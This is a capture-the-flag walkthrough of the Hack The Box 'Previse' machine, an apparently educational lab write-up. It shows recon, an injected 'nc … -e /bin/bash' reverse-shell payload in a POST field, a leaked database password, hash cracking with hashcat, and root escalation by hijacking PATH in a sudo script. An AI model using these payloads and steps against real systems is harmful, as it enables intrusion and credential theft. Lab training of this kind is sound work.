In this walkthrough of Hack The Box's Previse BOX, I will show you how I exploited the mySQL database. Tools such as nmap, hashcat, dirb, and sqlmap (to name a few) were used for this challenge. Although this was a simple BOX for me to complete, it surely tested my patience because it took a long time for me to finish. Luckily for you, I will guide you on what steps to make so you won't spend twice the time on it than I did.

Now let's get started!

Before introducing the output of the nmap scan, let me inform you that my standard command to start this activity is the following:

nmap -A -T4 <IP Address>

When I ran the command, I received this output...

Starting Nmap 7.91 ( ) at 2021-08-23 22:27 CEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.08 seconds

...At this point, I understood that I should repeat the scan again, this time adding the -Pn command. (The -Pn command disables host discovery & runs a port scan only.)

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.104 - Previse (lin)]
└─$ nmap -A -T4 -Pn >> info.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Finally, I received these results below...

Starting Nmap 7.91 ( ) at 2021-08-23 22:30 CEST
Nmap scan report for
Host is up (0.044s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 22.42 seconds

I immediately inserted the previse.htb domain in my /etc/hosts file. Even if I will not use it much, it is always better to be prepared in case it may be needed.

As you can see, there is very little to be seen on the portal, a very simple login mask with no other information. Even the wappalyzer does not report more than what is visible and what nmap has found during the previous scans.

A first approach to test if there is a possible SQLi vulnerability is to use a simple string "'or' '='"  and inputting it into the login credentials.

After inputting those strings, the portal did not reveal anything.

So I proceeded to take a closer look at the source, and I ended up finding some links to pages. However, they did not give me any useful information regarding the penetration of the BOX border.

Even the images shown in the response of the link (http://previse.htb/site.webmanifest) were nothing more than the images in two different dimensions of the favicon of the portal.


I was not convinced by this, so I tried a more invasive approach to exploit the SQLi vulnerability by using sqlmap, running the following command:

sqlmap <ip address> --forms --crawl=2

But I still didn't get anything.

└─$ sqlmap --forms --crawl=2
 ___ ___[(]_____ ___ ___  {1.5.8#stable}                                                                           
|_ -| . [,]     | .'| . |                                                                                          
|___|_  [,]_|_|_|__,|  _|                                                                                          
      |_|V...       |_|                                                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:44:34 /2021-08-23/

do you want to check for the existence of site's sitemap(.xml) [y/N] N
[22:44:43] [INFO] starting crawler for target URL ''
[22:44:43] [INFO] searching for links with depth 1
got a 302 redirect to ''. Do you want to follow? [Y/n] Y
[22:44:48] [INFO] searching for links with depth 2                                                                
please enter number of threads? [Enter for 1 (current)] 
[22:44:53] [WARNING] running in a single-thread mode. This could take a while
do you want to normalize crawling results [Y/n] Y                                                                 
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N
[#1] form:
POST data: username=&password=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] Y
[22:45:35] [INFO] using '/home/in7rud3r/.local/share/sqlmap/output/results-08232021_1045pm.csv' as the CSV results file in multiple targets mode
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7mcm68c8tq0...nrh49kjg5t'). Do you want to use those [Y/n] Y
[22:45:42] [INFO] testing if the target URL content is stable
[22:46:06] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/in7rud3r/.local/share/sqlmap/output/results-08232021_1045pm.csv'                                                               

[*] ending @ 22:46:06 /2021-08-23/

Now it's time to do a double session with dirb considering that it is a portal in php. Therefore, it is worth checking any files with the php extension as well.

The session on the folders doesn't seem to reveal anything more than what I already know. Boring! I still took a look at the "listable" folders anyway just to make sure there aren't any useful files or anything anomalous to be found.

└─$ dirb             

DIRB v2.22    
By The Dark Raver

START_TIME: Mon Aug 23 22:41:26 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                                                           
+ (CODE:200|SIZE:15406)                                                           
+ (CODE:302|SIZE:2801)                                                              
==> DIRECTORY:                                                                            
+ (CODE:403|SIZE:277)                                                           
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
END_TIME: Mon Aug 23 22:44:45 2021

The session on the portal's php files is more interesting.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.104 - Previse (lin)]
└─$ dirb -X .php

DIRB v2.22    
By The Dark Raver

START_TIME: Mon Aug 23 22:41:15 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:302|SIZE:3994)                                                           
+ (CODE:200|SIZE:0)                                                                
+ (CODE:302|SIZE:0)                                                              
+ (CODE:302|SIZE:4914)                                                              
+ (CODE:200|SIZE:217)                                                              
+ (CODE:200|SIZE:980)                                                              
+ (CODE:302|SIZE:2801)                                                              
+ (CODE:200|SIZE:2224)                                                              
+ (CODE:302|SIZE:0)                                                                
+ (CODE:302|SIZE:0)                                                                  
+ (CODE:200|SIZE:1248)                                                                
+ (CODE:302|SIZE:2966)                                                             
END_TIME: Mon Aug 23 22:44:34 2021

Some files that I had not found came out in the open including some other files that identified the structure of the pages (e.g., header and footer). The nav.php file revealed more links to me that lead to hidden pages. Moreover, it seems to be the navigation menu of the logged in users. We may be on the right track here.

Another thing that was revealed by the scan that is inherent to the URL of the home page (i.e. index.php) was the code 302 (moved temporarily). The browser did not reveal this directly to me when it loaded the html of the URL that was replaced.

So, I tried to run a curl command to figure out what's going on:

curl -v

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.104 - Previse (lin)/attack/apache]
└─$ curl -v       
*   Trying
* Connected to ( port 80 (#0)
> GET / HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Mon, 23 Aug 2021 21:18:51 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: PHPSESSID=t1pius24kphe0t5hf9ond0psas; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: login.php
< Content-Length: 2801
< Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>

<title>Previse Home</title>
<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
            <li><a href="files.php">FILES</a></li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>

    <section class="uk-section uk-section-default">
        <div class="uk-container">
            <h2 class="uk-heading-divider">Previse File Hosting</h2>
            <p>Previse File Hosting Service Management.</p>
            <p>Don't have an account? Create one!</p>
<div class="uk-position-bottom-center uk-padding-small">
        <a href="" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
* Connection #0 to host left intact

Well, just as I had expected, a series of information was revealed to me from the curl command I had ran, but interestingly, the browser by itself does not reveal this information to me due to its weird behavior.

First of all, the navigation menu we explored a little while ago is visible even though I am not authenticated on the portal.

I also saw a session that displayed the message, "Don't have an account? Create one!" which makes me hope that I can intervene in some way to access the portal in a non-administrative way.

Well, let's proceed further. Since I am inspired by the name of the file (accounts.php) which also returned with code 302, let's investigate further and discover if there is a vulnerability we can use with the accounts.php file.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.104 - Previse (lin)/attack/apache]
└─$ curl -v
*   Trying
* Connected to ( port 80 (#0)
> GET /accounts.php HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Mon, 23 Aug 2021 21:22:09 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: PHPSESSID=f65v3kh46497eupo43d27buj6e; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: login.php
< Content-Length: 3994
< Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
* Connection #0 to host left intact

Perfect! It looks like we found the user creation form.

Let's start with PostMan and try to create a user.

The result appears to be good. Now let's try to access the portal.

Excellent! I would say that it can be considered an absolutely small step forward.

Let's take a look around now that we're logged in.

There isn't much information to be found, but we're still making gold out of what little we've found.

Since we are given the chance, we will download the logs just to take a closer look.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.104 - Previse (lin)/attack/dwnl]
└─$ cat out.log      

Again there isn't much, but let's make it enough for now.

Something interesting instead shows up from the files page, where, excluding the second file that seems to have been uploaded by a user, seems to be the portal backup (obviously confirmed after restarting the BOX to be sure it was not the ingenious exploit that some other user left there inadvertently).

Let's use the unzip command now and extract the file.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.104 - Previse (lin)/attack/dwnl]
└─$ unzip -d bck              
  inflating: bck/accounts.php        
  inflating: bck/config.php          
  inflating: bck/download.php        
  inflating: bck/file_logs.php       
  inflating: bck/files.php           
  inflating: bck/footer.php          
  inflating: bck/header.php          
  inflating: bck/index.php           
  inflating: bck/login.php           
  inflating: bck/logout.php          
  inflating: bck/logs.php            
  inflating: bck/nav.php             
  inflating: bck/status.php          

...Now we can begin searching for something interesting.

First, let's check out the config.php file using the cat command.

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.104 - Previse (lin)/attack/dwnl/bck]
└─$ cat config.php 

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;


Obviously, I have also tried this password (mySQL_p@ssword!:) with some root users including users identified by the log file.

However, it is clear to me that this is a password of the mySQL database!

Now let's continue with checking out the files and take a look at how the logs are generated. We will run the cat command to view the contents of the logs.php file.
After running the command, I found a message and some interesting code in the logs file (see below).

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.104 - Previse (lin)/attack/dwnl/bck]
└─$ cat logs.php     
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//

$output = exec("/usr/bin/python /opt/scripts/ {$_POST['delim']}");
echo $output;


Apparently, the log is generated through the execution of a python script where the argument is the value retrieved from the form.

Well, now here's how we'll execute our exploit!

First, we must pass it in addition to the argument in order to conclude the first command correctly. We'll add another command in series (the double ampersand '&&' should be fine) which will allow us to obtain a reverse shell...

But first, let's verify that the exploit works just to make sure that a curl command from the target machine to our machine is performed. We need to start a web server on ours first, in order for it to receive and report the external request; a simple php native web server will enough.

To modify the value passed in the POST phase, edit the dropbox value through the browser developer toolbar, and set the new value of one of the options as shown in the figure (obviously you will have to use the one in the submit form).

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.104 - Previse (lin)/attack/dwnl/bck]
└─$ php -S                                                                                    1 ⨯
[Tue Aug 24 00:02:47 2021] PHP 7.4.21 Development Server ( started
[Tue Aug 24 00:03:42 2021] Accepted
[Tue Aug 24 00:03:42 2021] PHP Notice:  Undefined index: user in /home/in7rud3r/Dropbox/hackthebox/_10.10.11.104 - Previse (lin)/attack/dwnl/bck/nav.php on line 23
[Tue Aug 24 00:03:42 2021] [302]: GET /
[Tue Aug 24 00:03:42 2021] Closing

Awesome! We got the request, so the exploit does seem to work!

We just have to change the value with "comma && nc 4444 -e /bin/bash" and start a netcat session before submitting the form.

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.104 - Previse (lin)/attack/dwnl/bck]
└─$ nc -lvp 4444                                                                                               1 ⨯
listening on [any] 4444 ...
connect to [] from previse.htb [] 48662

Here is another small step we can do since we are still a user with very low privileges. We'll start by making our life easier by spawning a tty shell.

python -c 'import pty; pty.spawn("/bin/sh")'

Let's take a look at the users who have actually been configured on this machine.

$ cat /etc/passwd
cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

There seems to be only one user (other than the root user) who has the ability to activate a shell and more.

It is useless to think about what to do since we already know what our next target is. We have the credentials of the mySQL database (remember the config.php), so let's not waste any more time and proceed to take another look at the database.

$ mysql --user=root --password='mySQL_p@ssw0rd!:)'
mysql --user=root --password='mySQL_p@ssw0rd!:)'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 28
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


Great! The credentials work!

mysql> use previse
use previse
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;     
show tables;
| Tables_in_previse |
| accounts          |
| files             |
2 rows in set (0.00 sec)

mysql> select * from accounts;
select * from accounts;
| id | username | password                           | created_at          |
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | arvial   | $1$🧂llol$hCKWLopBNalkx5SpKpsD8/ | 2021-08-23 22:11:01 |
|  3 | admin2   | $1$🧂llol$eQmaJ2UGQLLuPTwiLCxzq/ | 2021-08-23 22:12:23 |
|  4 | admin    | $1$🧂llol$uXqzPW6SXUONt.AIOBqLy. | 2021-08-23 22:12:35 |
|  5 | in7rud3r | $1$🧂llol$oa29BWOU5Xt43ueeXlyXO0 | 2021-08-23 22:18:44 |
5 rows in set (0.00 sec)

Perfect! A beautiful list of encrypted users and passwords are revealed, and if you have gone through enough php files, you should have found the encryption algorithm. But let's give the decryption hashcat table anyway just to make sure you select the correct algorithm.

example_hashes [hashcat wiki]

Our algorithm appears to be number 500.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.104 - Previse (lin)/attack/hash]
└─$ hashcat -m 500 -a 0 pwd.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM)2 Duo CPU     T8300  @ 2.40GHz, 2829/2893 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 5 digests; 5 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 4 secs


Here is the little tricky part.

Luckily, I read through the forums and discovered that the time it would take for hashcat to recover the password will be relatively long. Had I not gone through the forums to figure this out, I would have risked blocking the process and abandoning this path (which I probably would have resumed later).

The first three passwords only took a few seconds to be revealed after executing the command.

The fourth password, on the other hand, which belonged to the user m4lwhere took about an hour to complete.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.104 - Previse (lin)/attack/hash]
└─$ ssh m4lwhere@                                                                                  1 ⨯
m4lwhere@'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Mon Aug 23 23:42:29 UTC 2021

  System load:  0.16              Processes:           240
  Usage of /:   49.4% of 4.85GB   Users logged in:     1
  Memory usage: 25%               IP address for eth0:
  Swap usage:   0%

0 updates can be applied immediately.

Failed to connect to Check your Internet connection or proxy settings

Last login: Mon Aug 23 23:21:05 2021 from
m4lwhere@previse:~$ ls -la
total 48
drwxr-xr-x 6 m4lwhere m4lwhere 4096 Aug 23 23:23 .
drwxr-xr-x 3 root     root     4096 May 25 14:59 ..
lrwxrwxrwx 1 root     root        9 Jun  6 13:04 .bash_history -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 m4lwhere m4lwhere 3771 Apr  4  2018 .bashrc
drwx------ 2 m4lwhere m4lwhere 4096 May 25 15:25 .cache
drwxr-x--- 3 m4lwhere m4lwhere 4096 Jun 12 10:09 .config
drwx------ 4 m4lwhere m4lwhere 4096 Jun 12 10:10 .gnupg
drwxrwxr-x 3 m4lwhere m4lwhere 4096 Aug 23 23:23 .local
-rw-r--r-- 1 m4lwhere m4lwhere  807 Apr  4  2018 .profile
-rw-r--r-- 1 m4lwhere m4lwhere   75 May 31 19:19 .selected_editor
-r-------- 1 m4lwhere m4lwhere   33 Aug 23 22:10 user.txt
lrwxrwxrwx 1 root     root        9 Jul 28 09:10 .viminfo -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere   75 Jun 18 01:18 .vimrc
m4lwhere@previse:~$ cat user.txt 

Now that the first flag is recovered, let's proceed for the roots.

This time I didn't even need to bother with linpeas because it was enough to check what we could run as administrators–the road was shown in front of us.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/
m4lwhere@previse:~$ cat /opt/scripts/ 

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

The script just backs up some files with the root user.

For the sake of consideration, I made a backup and downloaded the files to analyze them (existing and new). However, I did not find anything interesting inside them, so the exploit is to be found within the script itself.

Here we are a little bit helped by the exploits which are at the basis of the executed malicious codes or commands with administrative rights. The idea is to make a part of the executed command act abnormally.

In this specific case, there are at least three points: two of the same category, and one that needs to be worked out a little more thoroughly. The last one must take advantage of the date output which is used to generate the backup file name: $(date --date="yesterday" +%Y%b%d).

However, nothing comes to mind on how to exploit this in our favor. Moreover, we would go to act on the command output part when we should use the input part to retrieve the file in the root folder.

The first category of attack that I had in mind instead (and which could be applied in two different points) is the possibility of somehow overwriting the executed command with something custom (i.e. copying the root flag in a specific folder) for example, via a script or alias with the same name (i.e. gzip or date).

This seems to be a little simpler. Let's try it.

m4lwhere@previse:/tmp$ mkdir not_there
m4lwhere@previse:/tmp$ cd not_there/
m4lwhere@previse:/tmp/not_there$ ls -la
total 8
drwxrwxr-x  2 m4lwhere m4lwhere 4096 Aug 24 11:53 .
drwxrwxrwt 12 root     root     4096 Aug 24 11:53 ..
m4lwhere@previse:/tmp/not_there$ echo "cp --no-preserve=mode /root/root.txt /tmp/not_there/root.txt" > date
m4lwhere@previse:/tmp/not_there$ ls -la
total 12
drwxrwxr-x  2 m4lwhere m4lwhere 4096 Aug 24 11:55 .
drwxrwxrwt 12 root     root     4096 Aug 24 11:53 ..
-rw-rw-r--  1 m4lwhere m4lwhere   61 Aug 24 11:55 date
m4lwhere@previse:/tmp/not_there$ chmod +x date 
m4lwhere@previse:/tmp/not_there$ sudo /opt/scripts/./ 
[sudo] password for m4lwhere: 
gzip: /var/log/apache2/access.log: file size changed while zipping
m4lwhere@previse:/tmp/not_there$ ls -la
total 12
drwxrwxr-x  2 m4lwhere m4lwhere 4096 Aug 24 11:55 .
drwxrwxrwt 12 root     root     4096 Aug 24 11:55 ..
-rwxrwxr-x  1 m4lwhere m4lwhere   61 Aug 24 11:55 date

I created a script called "date" which copies the root.txt file into a temporary folder and modifies its permissions (otherwise I wouldn't be able to read it anyway).

Next, I gave it 'execute' rights and initialized the original script, hoping that when the date command is ran, it will make a copy. Unfortunately, that didn't seem to work.

I tried to run it again, except with the gzip command this time to see if we'll get luckier.

m4lwhere@previse:/tmp/not_there$ echo "cp --no-preserve=mode /root/root.txt /tmp/not_there/root.txt" > gzip
m4lwhere@previse:/tmp/not_there$ chmod +x gzip 
m4lwhere@previse:/tmp/not_there$ sudo /opt/scripts/./ 
m4lwhere@previse:/tmp/not_there$ ls -la
total 16
drwxrwxr-x  2 m4lwhere m4lwhere 4096 Aug 24 11:57 .
drwxrwxrwt 12 root     root     4096 Aug 24 11:57 ..
-rwxrwxr-x  1 m4lwhere m4lwhere   61 Aug 24 11:55 date
-rwxrwxr-x  1 m4lwhere m4lwhere   61 Aug 24 11:57 gzip

No, it didn't seem to work with gzip either.

I tried to run the date command by itself.

m4lwhere@previse:/tmp/not_there$ date
Tue Aug 24 11:58:04 UTC 2021

Actually, I saw that the default one is launched, and this reminded me of one thing.
In Linux, a command is not automatically started from the current folder (if there is one inside it), but instead it searches through the default paths. To drill the use of the malicious script I created, I have to specify the path where the script is located between the environment paths. In order to make a path where the script is located and has priority over the others, I have to put it at the top of everything.

m4lwhere@previse:/tmp/not_there$ export PATH=/tmp/not_there:$PATH
m4lwhere@previse:/tmp/not_there$ date
cp: cannot stat '/root/root.txt': Permission denied
m4lwhere@previse:/tmp/not_there$ sudo /opt/scripts/./ 
m4lwhere@previse:/tmp/not_there$ ls -la
total 20
drwxrwxr-x  2 m4lwhere m4lwhere 4096 Aug 24 12:00 .
drwxrwxrwt 12 root     root     4096 Aug 24 11:57 ..
-rwxrwxr-x  1 m4lwhere m4lwhere   61 Aug 24 11:55 date
-rwxrwxr-x  1 m4lwhere m4lwhere   61 Aug 24 11:57 gzip
-rw-r--r--  1 root     root       33 Aug 24 12:00 root.txt
m4lwhere@previse:/tmp/not_there$ cat root.txt

And voila! The exploit works! As anticipated at the beginning, it wasn't very complicated, but it just required a little more patience. The wait is worthwhile however as the outcome will meet your expectations.

That's all folks! We've completed the Previse BOX.  

Happy hacking and see you on the next BOX!

This unique print was created by the landscape photographer and visual artist Ronald Krämer from Munich, Germany.